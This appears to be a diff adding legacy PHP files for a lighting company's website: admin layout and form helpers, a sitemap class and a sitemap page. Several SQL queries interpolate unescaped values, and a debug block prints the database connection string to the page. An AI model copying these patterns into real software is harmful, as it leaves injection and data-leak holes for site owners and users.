+ function top($message, $hp,$hp2 = NULL)
+ {
+ ?>
+ <html>
+ <head>
+ <title></title>
+ <link type="text/css" rel=stylesheet href=<?echo URL_BASE?>admin/main.css>
+ <script src="<?echo URL_BASE."admin/wm.js"?>"></script>
+ <?
+ echo '
+ <script type="text/javascript" language="JavaScript">
+ _editor_url = "'.URL_BASE.'admin/htmlarea/";
+ </script>';
+
+ echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js"></script>';
+ echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/lang/en.js"></script>';
+ echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/dialog.js"></script>';
+ echo '<link type="text/css" rel=stylesheet href="'.URL_BASE.'admin/htmlarea/htmlarea.css">';
+ ?></head>
+ <BODY BGCOLOR="#FFFFFF" LINK="#000080" VLINK="#000080" ALINK="#000080">
+ <TABLE width=500 align="center" BGCOLOR="#C0C0C0" CELLPADDING=2 CELLSPACING=0 BORDER=2>
+ <TR>
+ <TD BGCOLOR="#003366">
+ <TABLE BGCOLOR="#C0C0C0" CELLPADDING=0 CELLSPACING=0 BORDER=0 WIDTH="100%">
+ <TR>
+ <TD BGCOLOR="#003366">
+ <TABLE CELLPADDING=0 CELLSPACING=0 BORDER=0 ALIGN=LEFT>
+ <tr>
+ <TD><IMG SRC="<?echo LOGO_IMG?>" BORDER=0 VSPACE=0 HSPACE=0></TD>
+ </tr>
+ </TABLE>
+
+ <div class="topheader">
+ <?echo $message?></div>
+ </TD>
+ <TD BGCOLOR="#003366" ALIGN=RIGHT valign="top">
+ <TABLE CELLPADDING=0 CELLSPACING=0 BORDER=0 ALIGN=RIGHT>
+ <tr>
+ <TD nowrap="nowrap">
+ <?php
+ if($hp2 != "")
+ {
+ echo '<a style="color:white;"
+ href="http://www.gaslightmedia.com/manuals/html/'.$hp2.'.html"
+ target="_blank">Online Help Guide</a> ';
+ echo '<a style="color:white;"
+ href="http://www.gaslightmedia.com/manuals/pdf/'.$hp2.'.pdf"
+ target="_blank">Printable Help Guide</a>';
+ }
+ else
+ {
+ ?>
+ <script lang="javascript">
+ var o = new Object();
+ o.url = "<?echo $hp?>";
+ o.popup = '1';
+ o.popup.name = 'Help';
+ o.width = 300;
+ o.height = 500;
+ o.scroll = true;
+ </script>
+ <A HREF="" onClick="glm_open(o); return(false);">
+ <IMG SRC="<?echo URL_BASE."images/help.gif"?>" BORDER=0></A>
+ <?php
+ }
+ ?>
+ </TD>
+ </tr>
+ </TABLE>
+ </TD>
+ </TR>
+ </TABLE>
+ </TD>
+ </TR>
+ <TR>
+
+ <TD>
+ <?
+ }
+
+ /**
+ * top2 : alias to top()
+ * @param $message: message title
+ * @param $hp: help file
+ * @param $$hp2 = NULL : gaslight help file
+ *
+ * @return
+ * @access
+ **/
+ function top2($message, $hp,$hp2 = NULL)
+ {
+ // make this an alias to top()
+ // by calling top instead of adding extra code
+ top($message,$hp,$hp2);
+
+ }
+
+ /********************************************************************************
+ *
+ * DO NOT EDIT THIS SECTION
+ *
+ ********************************************************************************/
+
+ if( $DEBUG )
+ {
+ echo '<CENTER>
+ <TABLE BORDER=0 CELLPADDING=3 CELLSPACING=1 WIDTH=600 BGCOLOR="#000000" ALIGN="CENTER">
+ <TR VALIGN="middle" BGCOLOR="#9999CC">
+ <TD COLSPAN="2" ALIGN="center"><H1>Portable Site Data - setup.phtml </H1></TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>CVS Version Id:</B></TD>
+ <TD ALIGN="left">$Id: setup.phtml,v 1.1.1.1 2006/07/13 13:53:49 matrix Exp $</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>SITENAME</B></TD>
+ <TD ALIGN="left">'.SITENAME.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>BASE</B></TD>
+ <TD ALIGN="left">'.BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>UP_BASE</B></TD>
+ <TD ALIGN="left">'.UP_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>HELP_BASE</B></TD>
+ <TD ALIGN="left">'.HELP_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>IMG_BASE</B></TD>
+ <TD ALIGN="left">'.IMG_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>URL_BASE</B></TD>
+ <TD ALIGN="left">'.URL_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>CONN_STR</B></TD>
+ <TD ALIGN="left">'.CONN_STR.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>STYLE</B></TD>
+ <TD ALIGN="left">'.STYLE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL_PATH</B></TD>
+ <TD ALIGN="left">'.ORIGINAL_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>RESIZED_PATH</B></TD>
+ <TD ALIGN="left">'.RESIZED_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED_PATH</B></TD>
+ <TD ALIGN="left">'.MIDSIZED_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>THUMB_PATH</B></TD>
+ <TD ALIGN="left">'.THUMB_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL</B></TD>
+ <TD ALIGN="left">'.ORIGINAL.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>RESIZED</B></TD>
+ <TD ALIGN="left">'.RESIZED.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED</B></TD>
+ <TD ALIGN="left">'.MIDSIZED.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>THUMB</B></TD>
+ <TD ALIGN="left">'.THUMB.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$CALLED_FROM_DIR</B></TD>
+ <TD ALIGN="left">'.$CALLED_FROM_DIR.' </TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$BASE_PATH</B></TD>
+ <TD ALIGN="left">'.$BASE_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$BASE_URL</B></TD>
+ <TD ALIGN="left"><A HREF="'.$BASE_URL.'">'.$BASE_URL.'</A></TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$BASE_SECURE_URL</B></TD>
+ <TD ALIGN="left">'.$BASE_SECURE_URL.'</TD>
+ </TR>
+ </TABLE>
+
+ <P>
+ <HR WIDTH="600">
+ <P>
+ </CENTER>
+ ';
+
+ }
+
+ /**
+ * htmlcode: generator for the javascript code to be called after the textareas
+ * to set up htmlarea
+ * do not use insertimage
+ *
+ * @return
+ * @access
+ **/
+ function htmlcode()
+ {
+
+echo '
+<style type="text/css">
+ /*<![CDATA[*/
+ <!--
+ .textarea { height: '.$h.' px; width: '.$w.' px; }
+ -->
+ /*]]>*/
+ </style>
+<script type="text/javascript">
+ //<![CDATA[
+ _editor_url = "../htmlarea";
+ _editor_lang = "en";
+ //]]>
+ </script><!-- load the main HTMLArea file -->
+ <script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js">
+ </script>
+';
+ echo '
+ <script type="text/javascript">
+ //<![CDATA[
+
+ ';
+ if( HTMLAREA_CONTEXT_MENU )
+ {
+ echo '
+ HTMLArea.loadPlugin("ContextMenu");
+ ';
+ }
+ if( HTMLAREA_TABLES )
+ {
+ echo '
+ HTMLArea.loadPlugin("TableOperations");
+ ';
+ }
+ if( HTMLAREA_IMAGE_MANEGER )
+ {
+ echo '
+ HTMLArea.loadPlugin("ImageManager");
+ ';
+ }
+ if( HTMLAREA_CHARACTER_MAP )
+ {
+ echo '
+ HTMLArea.loadPlugin("CharacterMap");
+ ';
+ }
+ echo '
+ initdocument = function () {
+ var editor = new HTMLArea("description");
+
+ ';
+
+ echo '
+ editor.config.toolbar = [
+ [ "fontname", "space",
+ "fontsize", "space",
+ "formatblock", "space",
+ "bold", "italic", "underline", "separator"';
+ echo ' ],
+
+ [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+
+ "orderedlist", "unorderedlist", "outdent", "indent", "separator",
+ "forecolor", "separator",
+ "inserthorizontalrule", "createlink"';
+ if( HTMLAREA_TABLES )
+ {
+ echo ', "inserttable"';
+ }
+ if( HTMLAREA_IMAGE_MANEGER )
+ {
+ echo ', "insertimage"';
+ }
+ echo ', "htmlmode", "separator",
+ "copy", "cut", "paste", "space", "undo", "redo" ]
+ ];
+ ';
+ if( HTMLAREA_CONTEXT_MENU )
+ {
+ echo '
+ // add a contextual menu
+ editor.registerPlugin("ContextMenu");
+ ';
+ }
+ echo '
+
+ // load the stylesheet used by our CSS plugin configuration
+ //editor.config.pageStyle = "@import url(../../styles.css);";
+ ';
+ if( HTMLAREA_TABLES )
+ {
+ echo '
+
+ // register the TableOperations plugin
+ editor.registerPlugin(TableOperations);
+ ';
+ }
+ if( HTMLAREA_CHARACTER_MAP )
+ {
+ echo '
+
+ // register the CharacterMap plugin
+ editor.registerPlugin(CharacterMap);
+ ';
+ }
+ echo '
+ editor.generate();
+ }
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+ addEvent(window, \'load\', initdocument);
+ //]]>
+ </script>
+ ';
+ /*
+ echo "<script type=\"text/javascript\" src=\"".BASE_URL."admin/htmlarea/plugins/CharacterMap/character-map.js\"></script>
+ <script type=\"text/javascript\" src=\"".BASE_URL."admin/htmlarea/plugins/CharacterMap/lang/en.js\"></script>
+ <script type=\"text/javascript\" src=\"".BASE_URL."admin/htmlarea/plugins/TableOperations/table-operations.js\"></script>
+ <script type=\"text/javascript\" src=\"".BASE_URL."admin/htmlarea/plugins/ImageManager/image-manager.js\"></script>
+ <script type=\"text/javascript\" src=\"".BASE_URL."admin/htmlarea/plugins/TableOperations/lang/en.js\"></script>
+ <script language=\"Javascript\">
+ HTMLArea.loadPlugin(\"CharacterMap\");
+ HTMLArea.loadPlugin(\"TableOperations\");
+ HTMLArea.loadPlugin(\"ImageManager\");
+ var editor = new HTMLArea(\"editor\");
+ var config = new HTMLArea.Config();
+ editor.registerPlugin(\"CharacterMap\");
+ editor.registerPlugin(\"TableOperations\");
+ editor.registerPlugin(\"ImageManager\");
+
+ config.width = '570px';
+ config.height = '300px';
+ config.statusBar = false;
+ config.toolbar = [
+ [ 'fontname', 'space',
+ 'fontsize', 'space',
+ 'formatblock', 'space',
+ 'bold', 'italic', 'underline', 'separator',
+ 'copy', 'cut', 'paste', 'space', 'undo', 'redo' ],
+
+ [ 'justifyleft', 'justifycenter', 'justifyright', 'justifyfull', 'separator',
+ 'insertorderedlist', 'insertunorderedlist', 'outdent', 'indent', 'separator',
+ 'forecolor', 'hilitecolor', 'separator',
+ 'inserthorizontalrule', 'createlink', 'insertimage', 'inserttable','htmlmode'
+ ]
+ ];
+ ";
+ */
+ }
+
+ /**
+ * date_entry : Generate the select boxes for date entry
+ * month-day-year as drop down select
+ * @param $month:
+ * @param $day:
+ * @param $year:
+ * @param $month_name: name of select month
+ * @param $day_name: name of select day
+ * @param $$year_name : name of select year
+ *
+ * @return
+ * @access
+ **/
+ function date_entry($month,$day,$year,$month_name,$day_name,$year_name)
+ {
+ $cur_date = getdate();
+
+ if($month == "")
+ {
+ $month = $cur_date['mon'];
+ }
+ if($day == "")
+ {
+ $day = $cur_date['mday'];
+ }
+ if($year == "")
+ {
+ $year = $cur_date['year'];
+ }
+ $date = '<SELECT NAME="'.$month_name.'">';
+ for($i=1;$i<13;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $month)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$day_name.'">';
+ for($i=1;$i<32;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $day)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$year_name.'">';
+ for($i=2000;$i<2023;$i++)
+ {
+ $date .= '<OPTION VALUE="'.$i.'"';
+ if($i == $year)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ return $date;
+ }
+
+ /**
+ * contact_date_entry : build select boxes for date entry going backwords in years
+ * @param $month:
+ * @param $day:
+ * @param $year:
+ * @param $month_name: name of select month
+ * @param $day_name: name of select day
+ * @param $$year_name : name of select year
+ *
+ * @return void
+ * @access
+ **/
+ function contact_date_entry($month,$day,$year,$month_name,$day_name,$year_name)
+ {
+ $cur_date = getdate();
+
+ if($month == "")
+ {
+ $month = $cur_date['mon'];
+ }
+ if($day == "")
+ {
+ $day = $cur_date['mday'];
+ }
+ if($year == "")
+ {
+ $year = $cur_date['year'];
+ }
+ $date = '<SELECT NAME="'.$month_name.'">';
+ for($i=1;$i<13;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $month)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$day_name.'">';
+ for($i=1;$i<32;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $day)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$year_name.'">';
+ $ystart = $cur_date['year'] - 10;
+ for($i=$ystart;$i<=$year;$i++)
+ {
+ $date .= '<OPTION VALUE="'.$i.'"';
+ if($i == $year)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ return $date;
+ }
+
+ /**
+ * time_entry : build select boxes for time entry
+ * @param $H:
+ * @param $m:
+ * @param $F:
+ * @param $H_name: name of select hour
+ * @param $m_name: name of select min
+ * @param $$F_name : name of select sec
+ *
+ * @return
+ * @access
+ **/
+ function time_entry($H,$m,$F,$H_name,$m_name,$F_name)
+ {
+ $cur_date = getdate();
+
+ if($H == "")
+ {
+ $H = $cur_date['hours'];
+ }
+ if($m == "")
+ {
+ $m = $cur_date['minutes'];
+ }
+ if($H>12)
+ {
+ $F = "PM";
+ $H = $H - 12;
+ }
+ $time = "Hr:<SELECT NAME=\"$H_name\" size=\"1\">";
+ for($i=1;$i<=12;$i++)
+ {
+ $time .= "<OPTION VALUE=\"";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\"";
+ if($i == $H)
+ {
+ $time .= " SELECTED";
+ }
+ $time .= ">$i\n";
+ }
+ $time .= "</SELECT>\n";
+ $time .= "Min:<SELECT NAME=\"$m_name\" size=\"1\">";
+ for($i=0;$i<60;$i=$i+15)
+ {
+ $time .= "<OPTION VALUE=\"";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\"";
+ if($i == $m)
+ {
+ $time .= " SELECTED";
+ }
+ $time .= ">";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\n";
+ }
+ $time .= "</SELECT>";
+ $time .= "<SELECT NAME=\"$F_name\" size=\"1\">";
+ $time .= "<OPTION VALUE=\"AM\"";
+ if($F == "AM")
+ {
+ $time .= " SELECTED";
+ }
+ $time .= ">AM\n";
+ $time .= "<OPTION VALUE=\"PM\"";
+ if($F == "PM")
+ {
+ $time .= " SELECTED";
+ }
+ $time .= ">PM\n";
+ $time .= "</SELECT>\n";
+ return $time;
+ }
+
+ /**
+ * get_parentid: get the (highest level) parent category for this id
+ * @param $id: id from bus_category table
+ *
+ * @return int parent
+ * @access
+ **/
+ function get_parentid( $id )
+ {
+ static $parentshow;
+ if( $id == 0 )
+ {
+ return( 0 );
+ }
+ if(!is_array($parentshow))
+ {
+ $qs = "select parent from bus_category where id = $id";
+ $parentrow = db_auto_get_data( $qs );
+ }
+ if($parentrow[0]['parent'] == 0)
+ {
+ return($id);
+ }
+ else
+ {
+ return( get_parentid($parentrow[0]['parent']) );
+ }
+ }
+
+ /**
+ * build_picklist:Builds a pick list from an array
+ * @param $fieldname: fieldname field name for select
+ * @param $data: data array of data
+ * @param $selected: selected witch element is selected
+ * @param $$type = "standard": type Standard,multi
+ * @param $$auto = 0: auto
+ * @param $$width = NULL : width width controlled by css
+ *
+ * @return void
+ * @access
+ **/
+ function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+ {
+ if(!is_array($selected))
+ {
+ $sel[0] = $selected;
+ }
+ else
+ {
+ $sel = $selected;
+ }
+ if($auto == 1)
+ $autosubmit = "onChange=\"form.submit()\"";
+ if($width)
+ $autosubmit .= "style=\"width:".$width."px;\"";
+ switch( $type )
+ {
+ case "multiple":
+ $str = "<SELECT NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ if( in_array($key,$sel) )
+ {
+ $select = " SELECTED ";
+ }
+ else
+ $select = "";
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ case "simple":
+ $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+ for( $i=0 ; $i<count($data) ; $i++ )
+ {
+ $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+ }
+ break;
+
+ case "standard":
+ default:
+ $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ $select = (in_array($key,$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ }
+ $str .= "</SELECT>\n";
+
+ return( $str );
+
+ }
+
+ /**
+ * create_page_links:Create prev and next links
+ * to page through the results.
+ * @param $totalnum: The total result of the query
+ * @param $num: The total result for the page
+ * @param $$start=0: The starting num defaults to 0
+ * @param $params: variables to add to the url
+ * @param $ENTRIES_PER_PAGE: number of items on page defaults to the ENTRIES_PER_PAGE
+ *
+ * @return string of links
+ * @access
+ **/
+ function create_page_links($totalnum,$num,$start=0,$params,$page_length=ENTRIES_PER_PAGE)
+ {
+ // find out which page we're on.
+ if($totalnum!=0)
+ {
+ $total_pages = floor($totalnum / $page_length); // total pages = the total result divided by page length rounded down
+ $total_pages++; // then add one
+ if($start == 0) // if start is 0 then page is one
+ {
+ $page = 1;
+ }
+ else
+ {
+ $page = ($start / $page_length) + 1;
+ }
+ }
+
+ if($totalnum > $page_length && ( $page != $totalpages ) )
+ {
+ $end = $page_length + $start;
+ }
+ else
+ {
+ $end = $totalnum;
+ }
+ $last = $start - $page_length;
+ if(($start - $page_length) < 0)
+ $prev = "";
+ else
+ $prev = "<span class=\"accenttext\">[</span><a class=\"small\"
+ href=\"$GLOBALS[PHP_SELF]?start=".$last."&$params\">PREVIOUS PAGE</a><span
+ class=\"accenttext\"> ]</span>";
+ if($end < $totalnum)
+ $next = "<span class=\"accenttext\">[</span><a class=\"small\"
+ href=\"$GLOBALS[PHP_SELF]?start=".$end."&$params\">NEXT PAGE</a><span
+ class=\"accenttext\"> ]</span>";
+ else
+ $next = "";
+ $starting = $start + 1;
+ $last_c = $start + $num;
+ $links = '<center><span class="pagetitle">Listings Displayed: </span><span
+ class="accenttext">'.$starting.' to '.$last_c.'</span>
+ <span class="pagetitle"> of '.$totalnum.'<br></span> '.$prev. ' <span
+ class="pagetitle"></span> '.$next.'<BR></span></center>';
+ return($links);
+ }
+ }
+?>
--- /dev/null
+<?php
+/*
+ * =====================================================================================
+ *
+ * Filename: sitemap.inc
+ *
+ * Description: output site map for Petoskey Chamber
+ *
+ * Version: 1.0
+ * Created: 09/30/2004 04:07:26 PM EDT
+ * Revision: none
+ *
+ * Company: Gaslight Media
+ *<style type="text/css">
+<!--
+div#sitemap {width: 100%;overflow:hidden;font-family: arial, helvetica, sans-serif; font-size: 12px;}
+div#sitemap ul {list-style: none; margin: 0; padding: 0; margin-top: 0; padding-top: 0; list-style-image: none;}
+div#sitemap ul ul {padding: 0 0 0 5px; margin: 0 0 0 5px; }
+div#sitemap li {list-style: none; margin: 3px 0; padding: 0; list-style-image: none; float: left; width: 100%;}
+div#sitemap dl {padding: 0; margin: 0; display: block; }
+div#sitemap dt {margin: 0; padding: 0; font-style: normal;}
+div#sitemap dt a {font-size: 16px; font-weight: bold; text-transform: uppercase;}
+div#sitemap ul ul dt a {font-size: 14px; font-weight: bold; margin: 0; clear: left;}
+div#sitemap ul ul ul dt a {font-size: 12px; font-weight: normal; margin: 0; text-transform: none;clear: left;}
+div#sitemap dt a:link {color: #369;}
+div#sitemap dt a:visited {color: #369;}
+div#sitemap dt a:active {color: #369;}
+div#sitemap dt a:hover {color: #000;}
+div#sitemap dd {margin: 0; padding: 0;}
+-->
+</style>
+ * =====================================================================================
+ */
+
+class Thread
+{
+ var $begin_level = "<ul>";
+ var $end_level = "</ul>";
+ var $begin_item = "<li>";
+ var $end_item = "</li>";
+ var $whole_thread;
+ var $search = "";
+ var $DB;
+
+ function Thread($code="",&$DB)
+ {
+ if(!empty($code))
+ {
+ $this->begin_level = $code[begin_level];
+ $this->end_level = $code[end_level];
+ $this->begin_item = $code[begin_item];
+ $this->end_item = $code[end_item];
+ }
+ if($GLOBALS["search"])
+ {
+ $this->search = $GLOBALS["search"];
+ }
+ $this->DB =& $DB;
+ }
+
+ function sortChilds($threads)
+ {
+ while(list($var, $value) = each($threads))
+ $childs[$value[parent]][$value[id]] = $value;
+ return $childs;
+ }
+
+ /**
+ * convertToThread: outputs the array with the correct styles and code applied
+ * @param $threads: Thread array
+ * @param $thread: Start with thread[0] will work it way down
+ *
+ * @return whole_thread
+ * @access public
+ **/
+ function convertToThread($threads, $thread)
+ {
+ global $toolbox;
+ static $p;
+ $this->whole_thread .= $this->begin_level;
+ while(list($parent, $value) = each($thread))
+ {
+ $this->whole_thread .= $this->begin_item . "<dl><dt>" ;
+
+ $category = $toolbox->get_seo_url( $value['id'] );
+ $this->whole_thread .= '<a href="'.$category.'">';
+ $this->whole_thread .= $value["category"]
+ . "</a></dt><dd>".$value["descr"]."..</dd></dl>"
+ . $this->end_item ."\n";
+ if($threads[$parent] )
+ {
+ $this->convertToThread($threads, $threads[$parent]);
+ }
+ }
+ $this->whole_thread .= $this->end_level;
+ return $this->whole_thread;
+ }
+}
+function sitemap_keyword_replace($string)
+ {
+ if($search = strstr($string,"{"))
+ {
+ if(ereg("\{([A-Za-z0-9\&\-\,\'\" ]*)\}",$string,$needle))
+ {
+ if($needle[0] != "")
+ {
+ $qs = "SELECT id,category
+ FROM bus_category
+ WHERE trim(keyword) = '".trim($needle[1])."'";
+
+ $keyres = $GLOBALS['toolbox']->DB->db_auto_get_data($qs);
+ if($keyres[0]['id']==1)
+ {
+ $page="";
+ }
+ $replacement = "".$keyres[0]['category']."";
+ $string = str_replace($needle[0],$replacement,$string);
+ }
+ }
+ else{
+ return($string);
+ }
+ if($search = strstr($string,"{"))
+ return($this->sitemap_keyword_replace($string));
+ }
+ return($string);
+ }
+if( $nf == 1 )
+ {
+ echo '<h2>Page not found</h2>The page you are looking for doesn\'t exist.';
+ }
+function make_teaser($text, $maxlength, $strip_tags=FALSE)
+{
+ if($strip_tags){ $text = strip_tags($text); }
+
+ if(strlen($text) > $maxlength)
+ {
+ $pos = strpos($text, ' ', $maxlength);
+ $text = substr($text, 0, $pos);
+ }
+
+ return $text;
+}
+$query = "select * from bus_category order by parent,pos";
+$data = $toolbox->DB->db_auto_get_data($query);
+if(is_array($data))
+ {
+ foreach($data as $key=>$val)
+ {
+ $description = make_teaser( sitemap_keyword_replace( $val['description'] ),200 ,true );
+
+ $threads[] = array("id"=>$val['id'],
+ 'descr'=>$description,
+ 'category'=>strip_tags($val['category']),
+ 'type'=>$val['type'],
+ 'parent'=>$val['parent'],
+ 'closed' => false);
+ }
+ }
+$links = array("begin_level" => "<ul>","end_level" => "</ul>","begin_item" => "<li>","end_item" => "</li>");
+if(is_array($threads)) {
+ $myThread = new Thread($links,&$toolbox->DB);
+ $converted = $myThread->sortChilds($threads); //sort threads by parent
+ print $myThread->convertToThread($converted, $converted[0]); //print the threads
+}
+?>
--- /dev/null
+<?PHP
+include("setup.phtml");
+include(BASE."classes/class_template.inc");
+
+$toolbox=new GLM_TEMPLATE(NULL);
+if(!isset($catid))
+{
+ $catid=1;
+}
+$toolbox->set_catid($catid);
+$meta = $toolbox->meta_tags();
+$title= $toolbox->title();
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<title>The Lindy Post Top Globes: Efficient Street and Outdoor Lighting</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta name="description" content="The Lindy post top globe, uses lower wattage lamps and get better lighting but provides the vintage street light look. The Lindy lighting series offers better light distribution and is perfect for both residential and industrial outdoor lighting projects.">
+<link rel="stylesheet" type="text/css" href="<?echo URL_BASE;?>styles.css">
+ <style type="text/css">
+<!--
+div#sitemap {width: 100%;overflow:hidden;font-family: arial, helvetica, sans-serif; font-size: 12px;}
+div#sitemap ul {list-style: none; margin: 0; padding: 0; margin-top: 0; padding-top: 0; list-style-image: none;}
+div#sitemap ul ul {padding: 0 0 0 5px; margin: 0 0 0 5px; }
+div#sitemap li {list-style: none; margin: 3px 0; padding: 0; list-style-image: none; float: left; width: 100%;}
+div#sitemap dl {padding: 0; margin: 0; display: block; }
+div#sitemap dt {margin: 0; padding: 0; font-style: normal;}
+div#sitemap dt a {font-size: 16px; font-weight: bold; text-transform: uppercase;}
+div#sitemap ul ul dt a {font-size: 14px; font-weight: bold; margin: 0; clear: left;}
+div#sitemap ul ul ul dt a {font-size: 12px; font-weight: normal; margin: 0; text-transform: none;clear: left;}
+div#sitemap dt a:link {color: #369;}
+div#sitemap dt a:visited {color: #369;}
+div#sitemap dt a:active {color: #369;}
+div#sitemap dt a:hover {color: #000;}
+div#sitemap dd {margin: 0; padding: 0;}
+-->
+</style>
+</head>
+<body>
+<div id="frame">
+<div id="topimg">
+The performance alternative to blow molded acorns.
+<img src="<?echo URL_BASE;?>assets/lindyheader.jpg" width="619" height="40" alt="lindyheader (11K)">
+</div>
+
+<div id="navcontainer">
+<?PHP
+
+$parent = $toolbox->get_parentid($toolbox->catid,&$toolbox->DB);
+if($parent == $toolbox->catid)
+{
+ $parent = 0; // dont understand the logic behind returning the current catid if the parent in the db is zero, but whatever, I can work around that.
+}
+//$parent=0;
+echo "\n<!-- $parent -->\n";
+echo $toolbox->make_ul_menu();//$parent,$toolbox->catid);
+?>
+</div>
+
+<div id="contentframe">
+ <div id="content">
+ <h1>Sitemap</h1>
+ <div id="sitemap">
+ <?PHP
+ include('sitemap.inc');
+ ?>
+ </div>
+ </div>
+</div>
+
+<div id="break"> </div>
+
+</div>
+<div class="bottomadd"><!--<img src="<?echo BASE_URL;?>assets/logos/spectrus_introbot.gif" alt="Spectrus" width="153" height="25"><br>-->6333 Gross Point Road • Niles, IL 60714 <br>Telephone (773) 774-9550 • Fax (773) 594-5874 <BR>
+<!--<b>Manufacturing Locations:</b> Charlevoix, Michigan • Dickson, Tennessee • Olive Branch, Mississippi--></div>
+
+
+
+<div id="copy">
+ <div>Copyright©<?echo date("Y")?> <a href="http://www.alplighting.com/index.aspx" target="_blank">A.L.P. Lighting</a> Produced by <a href="http://www.gaslightmedia.com" target="_blank">Gaslight Media</a>, All Rights Reserved. <a href="<?echo URL_BASE?>sitemap.phtml">Sitemap</a></div>
+</div>
+</body>
+</html>
--- /dev/null
+<div style="padding: 20px;">
